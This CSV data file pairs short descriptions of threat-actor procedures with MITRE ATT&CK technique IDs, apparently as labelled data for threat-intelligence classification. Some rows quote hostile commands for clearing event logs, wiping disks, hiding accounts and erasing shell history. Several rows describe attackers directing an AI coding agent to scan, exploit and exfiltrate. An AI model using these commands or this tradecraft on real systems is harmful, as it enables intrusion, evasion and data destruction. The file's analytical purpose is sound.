name,TTP
APT41 DUST involved the use of DLL search order hijacking to execute DUSTTRAP. APT41 DUST used also DLL side-loading to execute DUSTTRAP via an AhnLab uninstaller.,T1574.001
APT41 DUST used internet scan data for target development.,T1596.005
ArcaneDoor included the adversary executing command line interface (CLI) commands.,T1059
ArcaneDoor included use of existing command and control channels for data exfiltration.,T1041
"During APT28 Nearest Neighbor Campaign, APT28 leveraged SMB to transfer files and move laterally.",T1021.002
"During APT28 Nearest Neighbor Campaign, APT28 performed password-spray attacks against public facing services to validate credentials.",T1110.003
"During APT28 Nearest Neighbor Campaign, APT28 unarchived data using the GUI version of WinRAR.",T1140
"During APT28 Nearest Neighbor Campaign, APT28 used the native Microsoft utility cipher.exe to securely wipe files and folders - overwriting the deleted data using cmd.exe /c cipher /W:C.",T1561.001
"During C0015, the threat actors use the command `net group ""domain admins"" /dom` to enumerate domain groups.",T1069.002
"During C0017, APT41 broke malicious binaries, including DEADEYE and KEYPLUG, into multiple sections on disk to evade detection.",T1027
"During C0017, APT41 established persistence by loading malicious libraries via modifications to the Import Address Table (IAT) within legitimate Microsoft binaries.",T1574
"During C0017, APT41 ran `wget to download malicious payloads.",T1071.001
"During C0017, APT41 used Cloudflare services for data exfiltration.",T1567
"During C0017, APT41 used the following Windows scheduled tasks for DEADEYE dropper persistence on US state government networks: `\Microsoft\Windows\PLA\Server Manager Performance Monitor`, `\Microsoft\Windows\Ras\ManagerMobility`, `\Microsoft\Windows\WDI\SrvSetupResults`, and `\Microsoft\Windows\WDI\USOShared`.",T1053.005
"During C0018, the threat actors used WMIC to modify administrative settings on both a local and a remote host, likely as part of the first stages for their lateral movement; they also used WMI Provider Host (`wmiprvse.exe`) to execute a variety of encoded PowerShell scripts using the `DownloadString` method.",T1047
"During C0021, the threat actors deobfuscated encoded PowerShell commands including use of the specific string `'FromBase'+0x40+'String'`, in place of `FromBase64String` which is normally used to decode base64.",T1140
"During C0027, Scattered Spider attempted to gain access by continuously sending MFA messages to the victim until they accept the MFA push challenge.",T1621
"During C0027, Scattered Spider leveraged compromised credentials from victim users to authenticate to Azure tenants.",T1078.004
"During C0027, Scattered Spider used aws_consoler to create temporary federated credentials for fake users in order to obfuscate which AWS credential is compromised and enable pivoting from the AWS CLI to console sessions without MFA.",T1098.001
"During C0027, Scattered Spider used phone calls to instruct victims to navigate to credential-harvesting websites.",T1598.004
"During Cutting Edge, threat actors leveraged tools including Interactsh to identify vulnerable targets, PySoxy to simultaneously dispatch traffic between multiple endpoints, BusyBox to enable post exploitation activities, and Kubo Injector to inject shared objects into process memory.",T1588.002
"During Cutting Edge, threat actors sent a magic 48-byte sequence to enable the PITSOCK backdoor to communicate via the `/tmp/clientsDownload.sock` socket.",T1205
"During Cutting Edge, threat actors used compromised and out-of-support Cyberoam VPN appliances for C2.",T1584.008
"During Frankenstein, the threat actors established persistence through a scheduled task using the command: `/Create /F /SC DAILY /ST 09:00 /TN WinUpdate /TR`, named ""WinUpdate""",T1053.005
"During HomeLand Justice, threat actors primarily used RDP for lateral movement in the victim environment.",T1021.001
"During HomeLand Justice, threat actors used tools including Advanced Port Scanner, Mimikatz, and Impacket.",T1588.002
"During Indian Critical Infrastructure Intrusions, RedEcho used dynamic DNS domains associated with malicious infrastructure.",T1568
"During Juicy Mix, OilRig used VBS droppers to schedule tasks for persistence.",T1053.005
"During Operation AkaiRyū, MirrorFace lured victims into executing malicious payloads by opening email attachments.",T1204.002
"During Operation AkaiRyū, MirrorFace used `cmd.exe` to run PowerShell commands to drop additional files on the compromised host.",T1059.003
"During Operation AkaiRyū, MirrorFace used custom malware, as well as customized variants of publicly available tools.",T1587.001
"During Operation Digital Eye, threat actors concealed malicious activity by using terms that aligned with the technological context of the targeted organization.",T1591
"During Operation Digital Eye, threat actors deleted files delivered to compromised hosts, often named with the pattern do.such as do.exe.",T1070.004
"During Operation Digital Eye, threat actors deployed a PHP-based webshell to maintain persistent access.",T1505.003
"During Operation Digital Eye, threat actors used SQL injection to compromise publicly exposed web and database servers.",T1190
"During Operation Digital Eye, threat actors used third party tools including custom implementations of Mimikatz.",T1588.002
"During Operation Dream Job, Lazarus Group created scheduled tasks to set a periodic execution of a remote XSL script.",T1053.005
"During Operation Dream Job, Lazarus Group sent emails with malicious attachments to gain unauthorized access to targets' computers.",T1566.001
"During Operation Dream Job, Lazarus Group sent malicious OneDrive links with fictitious job offer advertisements via email.",T1566.002
"During Operation Dream Job, Lazarus Group targeted specific individuals within an organization with tailored job vacancy announcements.",T1591.004
"During Operation Ghost, APT29 used steganography to hide payloads inside valid images.",T1027.003
"During Operation Honeybee, threat actors ran sc start to start the COMSysApp as part of the service hijacking and sc stop to stop and reconfigure the COMSysApp.",T1569.002
"During Operation MidnightEclipse, threat actors exploited CVE-2024-3400 in Palo Alto Networks GlobalProtect.",T1190
"During Operation MidnightEclipse, threat actors used a compromised domain admin account to move laterally.",T1078.002
"During Operation Wocao, threat actors used a custom proxy tool called ""Agent"" which has support for multiple hops.",T1090
"During Outer Space, OilRig compromised an Israeli human resources site to use as a C2 server.",T1584.004
"During RedPenguin, UNC3886 accessed the Junos OS CLI on targeted devices.",T1059.008
"During RedPenguin, UNC3886 used rootkits such as REPTILE and MEDUSA.",T1014
"During Salesforce Data Exfiltration, threat actors used voice calls to socially engineer victims into authorizing a modified version of the Salesforce Data Loader app.",T1036
"During ShadowRay, threat actors used the Python `pty` module to open reverse shells.",T1059.006
"During SharePoint ToolShell Exploitation, threat actors created Proton mail accounts for communication with organizations infected with ransomware.",T1585.002
"During SharePoint ToolShell Exploitation, threat actors decrypted scripts prior to execution.",T1140
"During SharePoint ToolShell Exploitation, threat actors demanded ransom payments to unencrypt filesystems and to refrain from publishing sensitive data exfiltrated from victim networks.",T1657
"During SharePoint ToolShell Exploitation, threat actors leveraged commands to locate accessible file shares, backup paths, or SharePoint content.",T1083
"During SharePoint ToolShell Exploitation, threat actors modified Internet Information Services (IIS) components to load suspicious .NET assemblies for persistence.",T1505.004
"During SharePoint ToolShell Exploitation, threat actors used PowerShell to execute attacker-controlled encoded commands.",T1059.001
"During SharePoint ToolShell Exploitation, threat actors used WMI for execution.",T1047
"During SharePoint ToolShell Exploitation, threat actors utilized `cmd.exe` and batch scripts within the victim environment.",T1059.003
"During SharePoint ToolShell Exploitation, threat actors utilized ngrok tunnels to deliver PowerShell payloads.",T1572
"During SharePoint ToolShell Exploitation, threat actors, including Storm-2603, disabled security services via Registry modifications.",T1112
"During the 2015 Ukraine Electric Power Attack, Sandworm Team created privileged domain accounts to be used for further exploitation and lateral movement.",T1136.002
"During the 2015 Ukraine Electric Power Attack, Sandworm Team used BlackEnergy's network sniffer module to discover user credentials being sent over the network between the local LAN and the power grid's industrial control systems.",T1040
"During the 2015 Ukraine Electric Power Attack, vba_macro.exe deletes itself after `FONTCACHE.DAT`, `rundll32.exe`, and the associated .lnk file is delivered.",T1070.004
"During the 2016 Ukraine Electric Power Attack, Sandworm Team created VBScripts to run on an SSH server.",T1059.005
"During the 2016 Ukraine Electric Power Attack, Sandworm Team disabled event logging on compromised systems.",T1685.001
"During the 2016 Ukraine Electric Power Attack, Sandworm Team masqueraded executables as `.txt` files.",T1036.008
"During the 2016 Ukraine Electric Power Attack, Sandworm Team used various MS-SQL stored procedures.",T1505.001
"During the 2022 Ukraine Electric Power Attack, Sandworm Team deployed the GOGETTER tunneler software to establish a ""Yamux"" TLS-based C2 channel with an external server(s).",T1572
"During the 2025 Poland Wiper Attacks, the adversaries captured screenshots of devices using nircmd console through the command nircmd.exe ""savescreenshot C:\Windows\Temp\imagetmp.png.",T1113
"During the 2025 Poland Wiper Attacks, the adversaries configured a native CLI to gather a targeted elevated users password using `grep`.",T1555
"During the 2025 Poland Wiper Attacks, the adversaries dumped the entire Active Directory database by extracting the contents of the ntds.dit file.",T1003.003
"During the 2025 Poland Wiper Attacks, the adversaries had created a Reverse SOCKS Proxy and communicated over the non-standard port 8008.",T1571
"During the 2025 Poland Wiper Attacks, the adversaries leveraged stolen credentials within cloud services to download targeted data from SharePoint, and Teams.",T1530
"During the 2025 Poland Wiper Attacks, the adversaries obtained details on the configuration of the victim Fortinet perimeter device to include publicly disclosed details on an online forum used by criminal communities.",T1590.006
"During the 2025 Poland Wiper Attacks, the adversaries used the Rubeus tool to forge a Diamond Ticket that is a modified legitimate Kerberos ticket.",T1558
"During the 2025 Poland Wiper Attacks, the adversaries utilized the Linux `dd` command to overwrite portions of the disks with random data.",T1059.004
"During the 2025 Poland Wiper Attacks, the adversaries utilized the rsocx tool identified as `r.exe` and `rsocx.exe` to tunnel within the internal infrastructure using a Reverse SOCKS Proxy.",T1090
"During the 3CX Supply Chain Attack, AppleJeus first compromised an ""end-of-life"" trading software application which was downloaded and executed inside the 3CX enterprise environment. The second compromise modified the Windows and macOS build environments used to distribute the 3CX software to their customer base.",T1195.002
"During the Anthropic AI-orchestrated Campaign, the adversary configured Claude Code to identify and gather system configurations of discovered devices.",T1016
"During the Anthropic AI-orchestrated Campaign, the adversary used Claude Code to automatically collect and process large volumes of data from without human direction.",T1119
"During the Anthropic AI-orchestrated Campaign, the adversary used Claude Code to deploy a custom exploit payload targeting an identified SSRF vulnerability to gain initial access to a targeted environment.",T1190
"During the Anthropic AI-orchestrated Campaign, the adversary used Claude Code to map a complete network topology of the target infrastructure.",T1590.004
"During the Anthropic AI-orchestrated Campaign, the adversary used Claude Code to query internal databases and systems to extract proprietary information, system configurations, and sensitive operational data.",T1213.006
"During the Anthropic AI-orchestrated Campaign, the adversary used Claude Code to scan infrastructure across IP ranges associated with the target organization.",T1595.001
"During the Anthropic AI-orchestrated Campaign, the adversary utilized Claude Code to generate a detailed summary report of collected data, which is then reviewed and approved by the adversary prior to exfiltration of data over Claude.",T1567
"During the C0032 campaign, TEMP.Veles used PowerShell to perform timestomping.",T1059.001
"During the J-magic Campaign, threat actors acquired VPS for use in C2.",T1583.003
"During the SolarWinds Compromise, APT29 changed domain federation trust settings using Azure AD administrative permissions to configure the domain to accept authorization tokens signed by their own SAML signing certificate.",T1484.002
"During the SolarWinds Compromise, APT29 stole Chrome browser cookies by copying the Chrome profile directories of targeted users.",T1539
"During the SolarWinds Compromise, APT29 used PowerShell to create new tasks on remote machines, identify configuration settings, exfiltrate data, and execute other commands.",T1059.001
"During the SolarWinds Compromise, APT29 used `fsutil` to check available free space before executing actions that might create large files on disk.",T1680
"During the SolarWinds Compromise, APT29 used the `Get-AcceptedDomain` PowerShell cmdlet to enumerate accepted domains through an Exchange Management Shell. They also used AdFind to enumerate domains and to discover trust between federated domains.",T1482
"During the SolarWinds Compromise, APT29 was able to get SUNBURST signed by SolarWinds code signing certificates by injecting the malware into the SolarWinds Orion software lifecycle.",T1553.002
"For C0018, the threat actors renamed a Sliver payload to `vmware_kb.exe`.",T1036.005
"For C0021, the threat actors registered domains for use in C2.",T1583.001
"For Operation Dream Job, Lazarus Group developed custom tools such as Sumarta, DBLL Dropper, Torisma, and DRATzarus for their operations.",T1587.001
"For Operation Dream Job, Lazarus Group gathered victim organization information to identify specific targets.",T1591
"For Operation Ghost, APT29 registered domains for use in C2 including some crafted to appear as existing legitimate domains.",T1583.001
"For Operation Ghost, APT29 used social media platforms to hide communications to C2 servers.",T1102.002
"For Operation Ghost, APT29 used stolen administrator credentials for lateral movement on compromised networks.",T1078.002
"For Outer Space, OilRig created new implants including the Solar backdoor.",T1587.001
KV Botnet Activity altered permissions on downloaded tools and payloads to enable execution on victim machines.,T1222.002
"KV Botnet Activity includes use of native system tools, such as uname, to obtain information about victim device architecture, as well as gathering other system information such as the victim's hosts file and CPU utilization.",T1082
KV Botnet Activity removes on-disk copies of tools and other artifacts after it the primary botnet payload has been loaded into memory on the victim device.,T1070.004
"Leviathan abused access to compromised appliances to collect JSON Web Tokens (JWTs), used for creating virtual desktop sessions, during Leviathan Australian Intrusions.",T1528
Leviathan abused compromised appliance access to collect multifactor authentication token values during Leviathan Australian Intrusions.,T1111
"Leviathan used captured, valid account information to log into victim web applications and appliances during Leviathan Australian Intrusions.",T1078
Mustang Panda distributed malicious links in phishing emails leading to HTML files that would direct the victim to malicious MSC files if running Windows based on User Agent fingerprinting during RedDelta Modified PlugX Infection Chain Operations.,T1566.002
Mustang Panda included the use of Cloudflare geofencing mechanisms to limit payload download activity during RedDelta Modified PlugX Infection Chain Operations.,T1480
Mustang Panda used HTTP POST messages for command and control from PlugX installations during RedDelta Modified PlugX Infection Chain Operations.,T1071.001
Pikabot Distribution February 2024 utilized obfuscated JavaScript files for initial Pikabot payload download.,T1059.007
Quad7 Activity has gathered targeted individual's e-mail addresses for the password spraying attempts.,T1589.002
SPACEHOP Activity has routed traffic through chains of compromised network devices to proxy C2 communications.,T1090.003
SPACEHOP Activity has used acquired Virtual Private Servers as control systems for devices within the ORB network.,T1583.003
Water Curupira Pikabot Distribution distributed a PDF attachment containing a malicious link to a Pikabot installer.,T1204.001
"Water Curupira Pikabot Distribution utilizes rundll32.exe to execute the final Pikabot payload, using the named exports `Crash` or `Limit` depending on the variant.",T1218.011
A Patchwork .dll that contains BADNEWS is loaded and executed using DLL side-loading.,T1574.001
A Threat Group-3390 tool can spawn `svchost.exe` and inject the payload into that process.,T1055.012
A dropper used by Putter Panda installs itself into the ASEP Registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run with a value named McUpdate.,T1547.001
APT-C-36 has used VPNs in their operational infrastructure.,T1133
APT-C-36 has used WMI to execute PowerShell.,T1047
"APT-C-36 has used geolocation filtering in malware delivery to redirect traffic not coming from a targeted region or country, such as Ecuador or Colombia, to legitimate sites.",T1480
"APT1 used the commands net localgroup,net user, and net group to find accounts on the system.",T1087.001
APT19 used -W Hidden to conceal PowerShell windows by setting the WindowStyle parameter to hidden.,T1564.003
APT28 compromised Ubiquiti network devices to act as collection devices for credentials compromised via phishing webpages.,T1584.008
"APT28 has cleared event logs, including by using the commands wevtutil cl System and wevtutil cl Security.",T1685.005
APT28 has deployed LAMEHUG which can can query an LLM to generate and return commands for post compromise activity on targeted systems.,T1588.007
"APT28 has exploited CVE-2014-4076, CVE-2015-2387, CVE-2015-1701, CVE-2017-0263, and CVE-2022-38028 to escalate privileges.",T1068
APT28 has exploited open Wi-Fi access points for initial access to target devices using the network.,T1669
APT29 has gained access to a global administrator account in Azure AD and has used `Service Principal` credentials in Exchange.,T1078.004
APT29 has used a compromised global administrator account in Azure AD to backdoor a service principal with `ApplicationImpersonation` rights to start collecting emails from targeted mailboxes; APT29 has also used compromised accounts holding `ApplicationImpersonation` rights in Exchange to collect emails.,T1098.002
APT29 used large size files to avoid detection by security solutions with hardcoded size limits.,T1027.001
APT32 collected the victim's username and executed the whoami command on the victim's machine. APT32 executed shellcode to collect the username on the victim's machine.,T1033
"APT32 used the net view command to show all shares available, including the administrative shares such as C$ and ADMIN$.",T1135
APT32 used the netstat -anpo tcp command to display TCP connections on the victim's machine.,T1049
APT38 clears Window Event logs and Sysmon logs from the system.,T1685.005
APT39 has utilized AutoIt malware scripts embedded in Microsoft Office documents or malicious links.,T1059.010
APT41 attempted to remove evidence of some of its activity by clearing Windows security and system events.,T1685.005
"APT41 has obtained information about accounts, lists of employees, and plaintext and hashed passwords from databases.",T1555
APT41 used cmd.exe /c to execute commands on remote machines. APT41 used a batch file to install persistence for the Cobalt Strike BEACON loader.,T1059.003
"APT41 used BrowserGhost, a tool designed to obtain credentials from browsers, to retrieve information from password stores.",T1555.003
"APT41 used WMI in several ways, including for execution of commands via WMIEXEC as well as for persistence via PowerSploit. APT41 has executed files through Windows Management Instrumentation (WMI).",T1047
APT42 has cleared Chrome browser history.,T1070
APT42 has collected data from Microsoft 365 environments.,T1530
APT42 has deleted login notification emails and has cleared the Sent folder to cover their tracks.,T1070.008
APT42 has modified the Registry to maintain persistence.,T1547
APT42 has sent spearphishing emails containing malicious links.,T1566.002
APT42 has used the PowerShell-based POWERPOST script to collect local account names from the victim machine.,T1087.001
APT5 has created Local Administrator accounts to maintain access to systems with short-cycle credential rotation.,T1136.001
APT5 has used Windows-based utilities to carry out tasks including tasklist.exe.,T1057
APT5 has used the Task Manager process to target LSASS process memory in order to obtain NTLM password hashes. APT5 has also dumped clear text passwords and hashes from memory using Mimikatz hosted through an RDP mapped drive.,T1003.001
"After compromising user accounts, Scattered Spider registers their own MFA tokens.",T1556.006
Agrius attempted to acquire valid credentials for victim environments through various means to enable follow-on lateral movement.,T1078.002
"Agrius gathered data from database and other critical servers in victim environments, then used wiping mechanisms as an anti-analysis and anti-forensics mechanism.",T1005
Agrius has deployed base64-encoded variants of ASPXSpy to evade detection.,T1140
"Agrius typically uses commercial VPN services for anonymizing last-hop traffic to victim networks, such as ProtonVPN.",T1583
Agrius used the open-source port scanner WinEggDrop to perform detailed scans of hosts of interest in victim networks.,T1046
Akira has used legitimate names and locations for files to evade defenses.,T1036.005
Akira uses compromised VPN accounts for initial access to victim networks.,T1133
"An APT3 downloader uses the Windows command ""cmd.exe"" /C whoami to verify that it is running with the elevated privileges of ""System.""",T1033
Aquatic Panda gathers information on recently logged-in users on victim devices.,T1033
Aquatic Panda has attempted and failed to run Bash commands on a Windows host by passing them to cmd /C.,T1059.003
Aquatic Panda has encoded PowerShell commands in Base64.,T1027.010
"Aquatic Panda used a registry edit to enable a Windows feature called RestrictedAdmin in victim environments. This change allowed Aquatic Panda to leverage ""pass the hash"" mechanisms as the alteration allows for RDP connections with a valid account name and hash only, without possessing a cleartext password value.",T1550.002
BRONZE BUTLER typically use ping and Net to enumerate systems.,T1018
BlackByte has used ASPX web shells following exploitation of vulnerabilities in services such as Microsoft Exchange.,T1505.003
CURIUM has leveraged PowerShell scripts for initial process execution and data gathering in victim environments.,T1059.001
CURIUM has used phishing with malicious attachments for initial access to victim environments.,T1566.001
CURIUM has used strategic website compromise to infect victims with malware such as IMAPLoader.,T1189
CURIUM used malicious links to adversary-controlled resources for credential harvesting.,T1598.003
CURIUM used strategic website compromise to fingerprint then target victims.,T1608.004
Chimera has used net user for account discovery.,T1087.001
Chimera has used side loading to place malicious DLLs in memory.,T1574.001
Chimera has used the get -b -e -p command for network scanning as well as a custom Python tool packed into a Windows executable named Get.exe to scan IP ranges for HTTP.,T1046
Cinnamon Tempest has executed ransomware using batch scripts deployed via GPO.,T1059.003
"Cinnamon Tempest has exploited multiple unpatched vulnerabilities for initial access including vulnerabilities in Microsoft Exchange, Manage Engine AdSelfService Plus, Confluence, and Log4j.",T1190
"Cinnamon Tempest has used PowerShell to communicate with C2, download files, and execute reconnaissance commands.",T1059.001
Contagious Interview has conducted key word searches within files and directories on a compromised hosts to identify files for exfiltration.,T1083
Contagious Interview has configured malware to remove archives used in collection activities following successful exfiltration.,T1070.004
Contagious Interview has hosted malicious payloads on code repositories used as lures for victims to download.,T1608.001
Contagious Interview has leveraged Astrill VPN for C2.,T1090
Contagious Interview has leveraged JavaScript in the execution of their downloader malware targeting Windows devices using a NodeJS script titled nvidia.js.,T1059.007
Contagious Interview has stolen cryptocurrency wallet credentials and credit card information utilizing BeaverTail and InvisibleFerret malware.,T1657
"Contagious Interview has used hexadecimal string encoding to hide critical JavaScript module names, function names, and C2 URLs, which are decoded dynamically at runtime.",T1027.013
Daggerfly has used PowerShell and BITSAdmin to retrieve follow-on payloads from external locations for execution on victim machines.,T1105
Daggerfly has used strategic website compromise for initial access against victims.,T1189
Daggerfly proxied execution of malicious DLLs through a renamed rundll32.exe binary.,T1218.011
Daggerfly used PowerShell to download and execute remote-hosted files on victim systems.,T1059.001
Daggerfly used Reg to dump the Security Account Manager (SAM) hive from victim machines for follow-on credential extraction.,T1003.002
Daggerfly utilizes victim machine operating system information to create custom User Agent strings for subsequent command and control communication.,T1082
"Earth Lusca modified the registry using the command reg add ""HKEY_CURRENT_USER\Environment"" /v UserInitMprLogonScript /t REG_SZ /d ""file path"" for persistence.",T1112
Ember Bear acquires victim credentials by extracting registry hives such as the Security Account Manager through commands such as reg save.,T1003.002
"Ember Bear conducted destructive operations against victims, including disk structure wiping, via the WhisperGate malware in Ukraine.",T1561.002
"Ember Bear gains initial access to victim environments by exploiting external-facing services. Examples include exploitation of CVE-2021-26084 in Confluence servers; CVE-2022-41040, ProxyShell, and other vulnerabilities in Microsoft Exchange; and multiple vulnerabilities in open-source platforms such as content management systems.",T1190
Ember Bear has created accounts on dark web forums to obtain various tools and malware.,T1585
"Ember Bear has used exploits for vulnerabilities such as MS17-010, also known as `Eternal Blue`, during operations.",T1210
Ember Bear has used frameworks such as Impacket to dump LSA secrets for credential capture.,T1003.004
Ember Bear retrieves follow-on payloads direct from adversary-owned infrastructure for deployment on compromised hosts.,T1570
Ember Bear used the `su-bruteforce` tool to brute force specific users using the `su` command.,T1110
"Ember Bear uses services such as IVPN, SurfShark, and Tor to add anonymization to operations.",T1583
FIN13 has enumerated all users and their roles from a victim's main treasury system.,T1087
FIN13 has gained access to compromised environments via remote access services such as the corporate virtual private network (VPN).,T1133
FIN13 has leveraged default credentials for authenticating myWebMethods (WMS) and QLogic web management interface to gain initial access.,T1078.001
FIN13 has masqueraded staged data by using the Windows certutil utility to generate fake Base64 encoded certificates with the input file.,T1036
FIN13 has remotely accessed compromised environments via secure shell (SSH) for lateral movement.,T1021.004
"FIN13 has used Windows Registry run keys such as, `HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\hosts` to maintain persistence.",T1547.001
FIN13 has used `nslookup` and `ipconfig` for network reconnaissance efforts. FIN13 has also utilized a compromised Symantec Altiris console and LanDesk account to retrieve network information.,T1016
FIN13 has utilized `WMI` to execute commands and move laterally on compromised Windows machines.,T1047
FIN13 has utilized a proxy tool to communicate between compromised assets.,T1090.001
FIN13 has utilized web shells and Java tools for tunneling capabilities to and from compromised assets.,T1572
FIN5 has cleared event logs from victims.,T1685.005
FIN7 has created a fake link that redirected to an adversary-controlled Dropbox that downloaded the malicious executable.,T1608.005
FIN7 has started the SSH service by executing `sc start sshd`.,T1569.002
"FIN7 has used port-protocol mismatches on ports such as 53, 80, 443, and 8080 during C2. FIN7 has used TCP ports 59999 and 9898 for firewall rules.",T1571
FIN7 has utilized the remote management tool Atera to download malware to a compromised system.,T1219
GALLIUM used ipconfig /all to obtain information about the victim network configuration. The group also ran a modified version of NBTscan to identify available NetBIOS name servers.,T1016
Gamaredon Group has attempted to get users to click on a link pointing to a malicious HTML file leading to follow-on malicious content.,T1204.001
"Gamaredon Group has checked existing conditions, such as geographic location, device type, or system specification, before the victim is sent a malicious Word document.",T1497.001
Gamaredon Group has compiled the source code for a downloader directly on the infected system using the built-in Microsoft.CSharp.CSharpCodeProvider class.,T1027.004
Gamaredon Group has delivered macros which can tamper with Microsoft Office security settings.,T1685
Gamaredon Group has delivered malicious payloads within compressed archives and zip files.,T1027.015
"Gamaredon Group has downloaded additional malware and tools onto a compromised host. For example, Gamaredon Group uses a backdoor script to retrieve and decode additional payloads once in victim environments.",T1105
Gamaredon Group has injected Remcos into explorer.exe.,T1055
Gamaredon Group has used Telegram Messenger content to discover the IP address for C2 communications.,T1102.003
Gamaredon Group has used Tor for C2 traffic.,T1090.003
Gamaredon Group has used port 6856 for C2 communications.,T1571
Gamaredon Group malware can insert malicious macros into documents using a Microsoft.Office.Interop object.,T1559.001
HAFNIUM has collected data and files from a compromised machine.,T1005
HAFNIUM has created domain accounts.,T1136.002
"HAFNIUM has used MSGraph to exfiltrate data from email, OneDrive, and SharePoint.",T1119
"HAFNIUM has used stolen API keys and credentials associated with privilege access management (PAM), cloud app providers, and cloud data management companies to access downstream customer environments.",T1199
Higaisa used ipconfig to gather network configuration information.,T1016
"INC Ransom has run a file encryption executable via `Service Control Manager/7045;winupd,%SystemRoot%\winupd.exe,user mode service,demand start,LocalSystem`.",T1569.002
INC Ransom has used RDP to move laterally.,T1021.001
Indrik Spider has accessed and exported passwords from password managers.,T1555.005
Indrik Spider has searched files to obtain and exfiltrate credentials.,T1552.001
Indrik Spider has used RDP for lateral movement.,T1021.001
Ke3chang backdoor RoyalDNS established persistence through adding a service called Nwsapagent.,T1543.003
Ke3chang performs service discovery using net start commands.,T1007
Kimsuky has added accounts to specific groups with net localgroup.,T1098.007
Kimsuky has captured browser screenshots using TRANSLATEXT. Kimsuky has also obtained screen captures with custom malware.,T1113
Kimsuky has collected credentials from a fake Google account login page.,T1056.003
"Kimsuky has collected sensitive browser data using the function `GetBrowserData()` to include login credentials, bookmarks, cookies, and encryption keys.",T1217
Kimsuky has collected valid email addresses including personal accounts that were subsequently used for spearphishing and other forms of social engineering.,T1589.002
"Kimsuky has executed a variety of PowerShell scripts including Invoke-Mimikatz. Kimsuky has also utilized PowerShell scripts for execution, persistence, and defense evasion. Kimsuky has leveraged PowerShell's cmdlet `Expand-Archive` to extract contents of zip files into the same directory. Kimsuky has employed ClickFix type tactics enticing victims to copy and paste malicious PowerShell commands and scripts, where the scripts ultimately led to QuasarRAT.",T1059.001
Kimsuky has exfiltrated data to C2 servers using an automated script that executes every 10 minutes and after successful checks for the presence of pre-designated staged filenames.,T1020
"Kimsuky has registered domains to spoof targeted organizations and trusted third parties including search engines, web platforms, and cryptocurrency exchanges.",T1583.001
Kimsuky has renamed malware to legitimate names such as ESTCommon.dll or patch.dll. Kimsuky has also disguised payloads using legitimate file names including a PowerShell payload named chrome.ps1. Kimsuky has also used a malicious QR code that masqueraded as a legitimate package delivery service.,T1036.005
Kimsuky has run reg add 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList' /v to hide a newly created user.,T1564.002
Kimsuky has stolen a valid certificate that is used to sign the malware and the dropper.,T1588.003
"Kimsuky has used Dynamic DNS (DDNS) services, such as FreeDNS or No-IP DDNS, to include servers located in South Korea.",T1568
"Kimsuky has used LLMs to identify think tanks, government organizations, and experts to inform targeting for spearphishing campaigns.",T1682
"Kimsuky has used modified versions of open source PHP web shells to maintain access, often adding ""Dinosaur"" references within the code.",T1505.003
"Kimsuky has used spearphishing attachments to entice victims into opening malicious files, including LNK files disguised with tailored filenames and fake extensions. Kimsuky has also delivered malicious payloads within archive files (e.g., ZIP), which display decoy documents upon execution while running malicious code in the background.",T1204.002
Kimsuky has used the Invoke-Mimikatz PowerShell script to reflectively load a Mimikatz credential stealing DLL into memory. Kimsuky has also used reflective loading through .NET assembly using `System.Reflection.Assembly::Load`.,T1620
LAPSUS$ has called victims' help desk and impersonated legitimate users with previously gathered information in order to gain access to privileged accounts.,T1684.001
LAPSUS$ has shut down virtual machines from within a victim's on-premise VMware ESXi infrastructure.,T1489
Lazarus Group has hosted malicious downloads on Github.,T1583.006
Lazarus Group has renamed system utilities such as wscript.exe and mshta.exe.,T1036.003
Lazarus Group keylogger KiloAlfa obtains user tokens from interactive sessions to execute itself with API call CreateProcessAsUserA under that user's context.,T1134.002
"Lazarus Group malware can use a common function to identify target files by their extension, and some also enumerate files and directories, including a Destover-like variant that lists files and gathers information for all drives.",T1083
LuminousMoth has used a valid digital certificate for some of their malware.,T1588.004
LuminousMoth has used legitimate executables such as `winword.exe` and `igfxem.exe` to side-load their malware.,T1574.001
LuminousMoth has used malware that exfiltrates stolen data to its C2 server.,T1041
LuminousMoth has used malware to store malicious binaries in hidden directories on victim's USB drives.,T1564.001
"Magic Hound has exploited the Log4j utility (CVE-2021-44228), on-premises MS Exchange servers via ""ProxyShell"" (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207), and Fortios SSL VPNs (CVE-2018-13379).",T1190
Magic Hound has exported emails from compromised Exchange servers including through use of the cmdlet `New-MailboxExportRequest.`,T1114.002
Magic Hound has used HTTP for C2.,T1071.001
Magic Hound has used Ping for discovery on targeted networks.,T1018
Magic Hound has used Remote Desktop Services to copy tools on targeted systems.,T1021.001
Malteiro has obtained credentials from mail clients via NirSoft MailPassView.,T1555
Malteiro has relied on users to execute .zip file attachments containing malicious URLs.,T1204.002
Malteiro has utilized a dropper containing malicious VBS scripts.,T1059.005
Medusa Group has leveraged Microsoft Management Console (MMC) to facilitate lateral movement and to interact locally or remotely with victim devices using the command `mmc.exe compmgmt.msc /computer:{hostname/ip}`.,T1218.014
Medusa Group has leveraged Mimikatz to dump LSASS to harvest credentials.,T1003.001
Medusa Group has leveraged `cmd.exe` to identify system info `cmd.exe /c systeminfo`.,T1082
"Medusa Group has obtained and leveraged numerous RMM services, along with publicly available tools used for scanning. Medusa Group has utilized tools such as Advanced IP Scanner and SoftPerfect Network scanner for user, system and network discovery. Medusa Group has also acquired tools for command and control and defense evasion which include tunneling tools Ligolo and Cloudflared.",T1588.002
Medusa Group has removed PowerShell command history through the use of the PSReadLine module by running the PowerShell command `Remove-Item (Get-PSReadlineOption).HistorySavePath`.,T1690
Medusa Group has searched for files within the victim environment for encryption and exfiltration. Medusa Group has also identified files associated with remote management services.,T1083
Medusa Group has stolen and encrypted victims' data in order to extort victims into paying a ransom.,T1657
"Medusa Group has terminated services related to backups, security, databases, communication, filesharing and websites.",T1489
MirrorFace has abused a known Microsoft digital signature verification issues to append encrypted data to digital signatures that still appear to be validly signed.,T1553.002
MirrorFace has created and continued to develop custom strains of malware including LODEINFO.,T1587.001
MirrorFace has deployed shellcode to check for Japanese Microsoft Office settings.,T1614.001
MirrorFace has used rar.exe and the Makecab utility to archive files of interest prior to exfiltration.,T1560.001
MirrorFace has used remote template injection to retrieve malicious payloads from the C2.,T1221
MirrorFace has used the GO Simple Tunnel (GOST) proxy tool.,T1090
MirrorFace has used vssadmin to copy registry hives including SAM.,T1003.002
Moonstone Sleet has created social media accounts to interact with victims.,T1585.001
Moonstone Sleet used spearphishing messages containing items such as tracking pixels to determine if users interacted with malicious messages.,T1598.003
MoustachedBouncer has used JavaScript to deliver malware hosted on HTML pages.,T1059.007
